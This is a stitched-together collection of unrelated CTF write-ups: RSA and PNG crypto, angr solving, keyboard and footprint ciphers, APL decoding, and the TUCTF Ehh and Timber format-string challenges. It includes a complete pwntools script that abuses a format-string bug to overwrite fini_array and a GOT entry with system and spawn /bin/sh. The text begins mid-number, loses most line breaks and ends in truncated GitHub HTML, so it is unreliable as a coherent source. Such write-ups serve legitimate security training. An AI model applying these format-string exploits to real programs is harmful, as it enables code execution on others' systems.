172254401616728337848224556256193294668254066768665624620573955921904663415844987360305683044269987528418379305124320147209588306619600641931717574384801086412717165043339754089854945269488039157031822759552038220243667748187712406870604130874288848961422658181035116276222087495309539815379227353704980160563111860011813283093207521575802100014408033039719223557618408913808906098293389776713037943338000210957134248117986210892735617670398002934139712508431588063592442750666131635721232279579114412057382482634199793027886476451072132799009262126068858578298283046601000880559403008084425323306037979617803443696059413247270929031458924282241105950888791411422687779723342754994324724737283365077742875322607687106058784350376580745162809296384205316865766883773721914203935128431492247985755204159286761485776182149007712492892483933270120585324692872062057327390303613634093538988078627329297217605056348331910353384255935457914956221810806802338940927281542361188610818936740209620052730118914762676848436107226923154169182628394200511074094416135594725057729803618271672713265182266181460723433237689954353512385555171399460870707449024037962690482864822971633650492835486036834553508571232609988066578567702464349018675580536990329927725573108328721614238899767792645665535623446031410358844459259283846182131541439033837736746980370117933542817231688533759434901524622912254499686908606070397662874360407075300248727974071742299708009048853008697832021516188431289704110567432234451743516365186915321744582268642673156685090283640357282428092579506635927396169516769103184205482482269342855874163597222301484981530193824960936155581252590505096646005478378577133665334258562017564658379524993172647857018916805201682065829122503078635804169426240558643597061660475712949155431727872200202869508621492240387907991955060578185917725771 R.<x> =ZZ[]poly=x**6 + 5*x**5 + 10*x**4 + 13*x**3 + 10*x**2 + 5*x + 1 - pubkey #x**6 + 5*x**5 + 10*x**4 + 13*x**3 + 10*x**2 + 5*x + 1==(p**2*q) r=poly.roots()[0][0] p=r**2+r+1q=r**2+3*r+1n=p*p*qphi=p*(p-1)*(q-1) qinv=inverse_mod(q,phi)enc=pow(enc,qinv,n) #enc=m**(p**2) % (p**2*q), the exponent is not coprime with phi=p*(p-1)*(q-1) so we can't find a solution to the equation d*p**2 % n == 1 right now enc=enc%q # since m is probably smaller than q we can get away with this#now enc=m**(p**2) % q, the exponent is now coprime with phi=q-1 and we can find d such that d*p**2 % q = 1pinv=inverse_mod(p*p,q-1)enc=pow(enc,pinv,q) #enc=m print hex(int(enc))[2:].strip('L').decode('hex') #print flag``` ## The flag: **ASIS{_Wo0W_Y0u_4r3_Mas73R_In____Schmidt-Samoa___}**
TUCTF 2018: Shoop================= ## Description Difficulty: easy Black Hole Sun, won't you come and put sunshine in my bag I'm useless, but not for long so whatcha whatcha whatcha want? `nc 18.220.56.147 12345` ## Solution The challenge binary asks for some input, then prints a message. ```$ ./shoopGimme that good stuff: asdfasdfSurvey Says! ��a_n\a_n\����������Close... probably``` With some static analysis we can see that the program first mangles the input ina way that we'd like not to reverse and then checks it against a fixed string.If we can find the correct input we will get the flag. ![Check](img1.png) This seems a good use case for [angr](https://angr.io/). We can search for astate were stdout contains `That's right!`, then print the contents of stdin. ```$ python solve.pyb'everybodyrockyourbody'``` Great! Now let's get ourselves a flag! ```$ echo everybodyrockyourbody | nc 18.220.56.147 12345Gimme that good stuff: Survey Says! jmt_j]tm`q`t_j]mpjtf^That's right!TUCTF{5w337_dr34m5_4r3_m4d3_0f_7h353}```
# What_Th._Fgck (100 points) Category: Misc _Writeup_: Following was provided```OGK:DI_G;lqk"Kj1;"a"yao";fr3dog0o"vdtnsaoh"patsfk{+``` I thought it was best for quip to handle it (although the special characters sort of ruined the party). Partially, I could recover ```RITSEC{I***t_Th1s_a_far_sup3eri0r_keyboard_layout*}``` I didn't wanted to brute-guess but a keyboard layout? Hm, that may imply Dvorak. Hence, hovering to http://wbic16.xedoloh.com/dvorak.htmland inputting the challenge text will return back the flag ##### Flag: RITSEC{Isn't_Th1s_a_far_sup3eri0r_keyboard_layout?}
# TaskThis was more a forensic challenge than a crypto challenge. Alongside `flag.enc`, the following code was given ~~~from secret import exp, key def encrypt(exp, num, key): assert key >> 512 <= 1 num = num + key msg = bin(num)[2:][::-1] C, i = 0, 1 for b in msg: C += int(b) * (exp**i + (-1)**i) i += 1 try: enc = hex(C)[2:].rstrip('L').decode('hex') except: enc = ('0' + hex(C)[2:].rstrip('L')).decode('hex') return enc flag = open('flag.png', 'r').read()msg = int(flag.encode('hex'), 16)enc = encrypt(exp, msg, key) f = open('flag.enc', 'w')f.write(enc)f.close()~~~ # Encoding`flag = open('flag.png', 'r').read()` so the flag is inside a PNG image, a file format with a fixed structure. The encryption can be summarized as$$C = \text{exp} \cdot \text{base-exp encoding} \circ \text{base-2 decoding} (flag + key) + \text{number of one-bits in even positions} - \text{number of one bits in odd positions}$$ where `assert key >> 512 <= 1` ensures that `key` is very small, compared to a complete png image. With key of the same size as the input data, it would be a secure one time padding. # Decoding First, read `flag.enc` as number and decode it in base `b=exp`, guessed as `3`~~~ with open("flag.enc", "rb") as f: ciphertext = f.read()ciphernum = int.from_bytes(ciphertext, byteorder="big") def from_base(n, b): l = [] while n != 0: n,d = divmod(n,b) l.append(d) return l exp = 3 # guessed / tried small values cipherlist = from_base(ciphernum, 3)~~~This givs a list of digits, mostly 1 and 0, ending with the binary representation of `"\x89PNG"`, `... 1,0,0,1,0,0,0,1]`. At the Beginning of the list (least significant digits), there are some 2s, but it is expected as garbage, because the numer of one bits is added/substracted during encoding. Also the key (512 bit, 64 byte) is added, modifying the least significant digits. The length of the list is `1 mod 8`, as there is a off by one is the encoding function. A PNG image starts with a header and is divided into chunks, see <http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html>, the last chunk is always IEND with length 0, so the last 12 bytes are known as "\x00\x00\x00IEND" + crc32("IEND"), preceded by 4 bytes crc32(IDAT chunk) so we can ignore the beginning of the `cipherlist`. There remain 48 byte of image data corrupted by the key. ~~~def as_base(l, b): return sum((d*b**i) for (i,d) in enumerate(l)) image_number = cipherlist[1 + 8*(4+4+4+4) :]corrupted_image = image_number.to_bytes(byteorder="big", length = (image_number.bit_length()+7)//8)~~~ ath the end of the `corrupted_image` there is the "IDAT" chunk, ending in corrupted 48 bytes. The "IDAT" chunk is compressed by zlibs deflate algorithm, but decoding it with `zlib.decompress` fails with an exception, so it does not return the successful inflated prefix. My workaround was to use `zlib-flate -uncompress` from the `qpdf` package: ~~~def inflate(data): import subprocess flate = subprocess.Popen(["zlib-flate", "-uncompress"]) inflated, errors = flate.communicate(data) return inflated idat_data = [corrupted_image.find(b"IDAT") + 4 : -48]image = inflate(idat_data) # size around 8kB~~~there is some data missing at the end, so i appended some zeros (transparent pixels)~~~image += b"\x00" * 10000~~~and compressed it again~~~import zlibidat_data = b"IDAT" + zlib.compress(image)idat_length = (len(idat_data) - 4).to_bytes(byteorder="big", length=4) # len counted without "IDAT"idat_crc = (zlib.crc32(idat_data) % 2**32).to_bytes(byteorder="big", length=4) # crc calculated with "IDAT"idat = idat_length + idat_data + idat_crc~~~at last, we need a valid IEND chunk. It can be copied from any PNG image.~~~iend = b'\x00\x00\x00\x00IEND\xaeB`\x82'~~~put everything together and save it to a file~~~f = open("flag.png", "wb")f.write(corrupted_image[ : corrupted_image.find(b"IDAT")] ) # headerf.write(idat)f.write(iend)f.close()~~~ this image could was opened successfully by an image viewer (for example the `display` command)
# TU CTF 2018 - Ancient ## DescriptionGurney showed me this tablet he found on some far off secret island, but I have no idea what it says... (Standard flag format, letters in all caps) (Difficulty: Normal) ![ancient_tablet](./ancient_tablet.PNG) ## SolutionIt's clear that the picture shows the flag encrypted with a strange footprint alphabet. One of the first idea we had was that this alphabet is taken from a book or a film. But we kinda gave up after a few random google searches. Eventually one of us googled [_Gurney secret code_](https://www.google.ch/search?q=Gurney+secret+code&oq=Gurney+secret+code&aqs=chrome..69i57.137j0j4&sourceid=chrome&ie=UTF-8). The first result was the [_Dinotopia_](https://en.wikipedia.org/wiki/Dinotopia) wikipedia page. Find below the first phrase on the page. _Dinotopia is a fictional utopia created by author and illustrator James Gurney._ At this point we googled [_Dinotopia secret code_](https://www.google.ch/search?ei=H-35W6OhEsOKap-JpqAN&q=Dinotopia+secret+code&oq=Dinotopia+secret+code&gs_l=psy-ab.3...1405.3106..3626...0.0..0.92.151.2......0....1..gws-wiz.......0i71j33i160.V8o09srnuSI). Once again the first result was promising, a page called [_Code of Dinotopia_](http://dinotopia.wikia.com/wiki/Code_of_Dinotopia). In it, a link to the [_Footprint alphabet_](http://dinotopia.wikia.com/wiki/Footprint_alphabet) page. ![dinotopia_alphabet](./dinotopia_alphabet.jpg) Decoding out immage we obatain: `THE FLAG IS IF_ONLY_JURASSIC_PARK_WAS_LIKE_THIS`. We got the flag! ``` TUCTF{IF_ONLY_JURASSIC_PARK_WAS_LIKE_THIS}```
TUCTF 2018: Ehh=============== ## Description Difficulty: easy Whatever... I dunno `nc 18.222.213.102 12345` ## Solution The target asks us for a string, then use it as the format string for `printf`.After the call to `printf` it will check that the global variable `val` is 0x18and give us the flag if that check succeeds. This is a straightforward example of a format string vulnerability: we canuse the `%n` format specifier to overwrite arbitrary memory, in this case `val`.The binary is position-independent, but conveniently the first thing it doesis send us the address of `val` so we don't have to search for an infoleak. The first step in exploiting the binary is finding out what is the firstargument to `printf` that we can control. The easiest way to do this is using`%s`, then `%xs`, then `%x%x%s` and so on as format string until the targetcrashes. In this case the program starts crashing at `%x%x%x%x%x%s` so the we control thearguments starting from the 6th. We can use pwntools's format string helper togenerate a payload instead of writing it by hand. ```$ python2 exploit.py[+] Opening connection to 18.222.213.102 on port 12345: Done[+] Receiving all data: Done (73B)[*] Closed connection to 18.222.213.102 port 12345TUCTF{pr1n7f_15_pr377y_c00l_huh}```
TUCTF 2018: Timber================== ## Description Difficulty: easyAre you a single lumberjack tired of striking out? Well notwith Timber! Our deep learning neural network is sure to find a perfect matchfor you. Try Timber today! `nc 18.222.250.47 12345` ## Solution The interesting functions in the target are `doStuff` which displays theinterface, and `date` which prints the flag. By looking at the disassembly of `doStuff` we can see that the second call to`printf` uses a user-controlled format string which we can exploit to read andwrite arbitrary memory. ![doStuff](img1.png) The binary is compiled with partial RELRO, which means that the GOT entries arewritable. The easiest way to get the flag is to overwrite the GOT entry for`puts` with the address of `date`. This way the call to `puts` will insteadexecute `date` and give us the flag. Pwntools has a useful helper for generating format string exploits but it needsto know which is the first format argument that we can control. The easiest wayto find out is to try `%s`, then `%x%s` and so on until the target crashes. Inthis case `%x%s` crashes the target which means that we control the argumentsstarting from the second. ```$ python2 exploit.py[+] Opening connection to 18.222.250.47 on port 12345: DoneTUCTF{wh0_64v3_y0u_7h47_c4n4ry} [*] Closed connection to 18.222.250.47 port 12345```
```python#!/usr/bin/env python3from pwn import *from sys import argv context(os='linux', arch='i386', log_level='info')FILE_NAME = 'greeting' if len(argv) > 1: if argv[1][0] == 'd': gdb_cmd = """set follow-fork-mode parentset $fa = 0x8049934# printfb * main + 98c """ r = gdb.debug([FILE_NAME], gdb_cmd)else: r = process(FILE_NAME) fini_array_addr = 0x8049934system_plt_addr = 0x8048496main_addr = 0x80485edstrlen_got_addr = 0x8049a54 # make payloadmsg_header = b"Nice to meet you, "offset = 12 ## adjust 2byte for FSB payload = b"AA" payload += p32(fini_array_addr)payload += p32(strlen_got_addr) ## fini_array <- mainpayload += "%{}c%{}$hhn".format(0xed - len(payload) - len(msg_header), offset).encode()offset += 1 ## strlen <- systempayload += "%{}c%{}$n".format(system_plt_addr - 0xed, offset).encode()log.info("payload length -> {}".format(len(payload))) # attacklog.info("fini_array <- main & strlen <- system")r.sendlineafter("Please tell me your name... ", payload)pause(10) r.sendlineafter("Please tell me your name... ", b"/bin/sh\x00")r.interactive()```
## apl given text file```mx←7 0↓14 9⍴⍳132a←mx[(3 3)(3 4)(1 4)(3 3)(1 7)(7 6)(7 2)(3 1)(5 6)(3 3)(5 2)(4 5)(2 7)(6 2)(2 4)(7 4)(4 5)(2 1)(6 7)(4 5)(1 9)(4 7)(3 1)(5 1)(4 5)(3 3)(6 3)(4 5)(3 1)(5 2)(1 2)(5 1)(7 8)]```https://tryapl.org a←mx[(3 3)(3 4)(1 4)(3 3)(1 7)(7 6)(7 2)(3 1)(5 6)(3 3)(5 2)(4 5)(2 7)(6 2)(2 4)(7 4)(4 5)(2 1)(6 7)(4 5)(1 9)(4 7)(3 1)(5 1)(4 5)(3 3)(6 3)(4 5)(3 1)(5 2)(1 2)(5 1)(7 8)] 84 85 67 84 70 123 119 82 105 84 101 95 79 11 ```pythonlist = [84,85, 67, 84, 70, 123, 119, 82, 105, 84, 101, 95, 79, 110, 76, 121, 95, 73, 115, 95, 72, 97, 82, 100, 95, 84, 111, 95, 82, 101, 65, 100, 125]flag = ''for element in list: flag +=chr(element)print(flag)```**TUCTF{wRiTe_OnLy_Is_HaRd_To_ReAd}**
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF-Writeups/2018/RITSEC-18/Web/Tangled Web at master · berkeakil/CTF-Writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="843B:7430:51C6D41:53F96EB:64122581" data-pjax-transient="true"/><meta name="html-safe-nonce" content="b7e9f8d586077f35cb9506b468bedc727bb653d16292b2ea1e54e2fcb49cd915" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4NDNCOjc0MzA6NTFDNkQ0MTo1M0Y5NkVCOjY0MTIyNTgxIiwidmlzaXRvcl9pZCI6Ijc5MjAzOTE3NzI1MzgyODMzOTMiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="bf2cb98c09122f769b9940495813e92fe9010283115d3db367111b26ba2de6ad" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:148139157" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to berkeakil/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/d0db5716e6224dcda2bd3092eabaeca64209da9eef155110d1f6308780824637/berkeakil/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/2018/RITSEC-18/Web/Tangled Web at master · berkeakil/CTF-Writeups" /><meta name="twitter:description" content="Contribute to berkeakil/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/d0db5716e6224dcda2bd3092eabaeca64209da9eef155110d1f6308780824637/berkeakil/CTF-Writeups" /><meta property="og:image:alt" content="Contribute to berkeakil/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/2018/RITSEC-18/Web/Tangled Web at master · berkeakil/CTF-Writeups" /><meta property="og:url" content="https://github.com/berkeakil/CTF-Writeups" /><meta property="og:description" content="Contribute to berkeakil/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/berkeakil/CTF-Writeups git https://github.com/berkeakil/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="32399243" /><meta name="octolytics-dimension-user_login" content="berkeakil" /><meta name="octolytics-dimension-repository_id" content="148139157" /><meta name="octolytics-dimension-repository_nwo" content="berkeakil/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="148139157" /><meta name="octolytics-dimension-repository_network_root_nwo" content="berkeakil/CTF-Writeups" /> <link rel="canonical" href="https://github.com/berkeakil/CTF-Writeups/tree/master/2018/RITSEC-18/Web/Tangled%20Web" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex 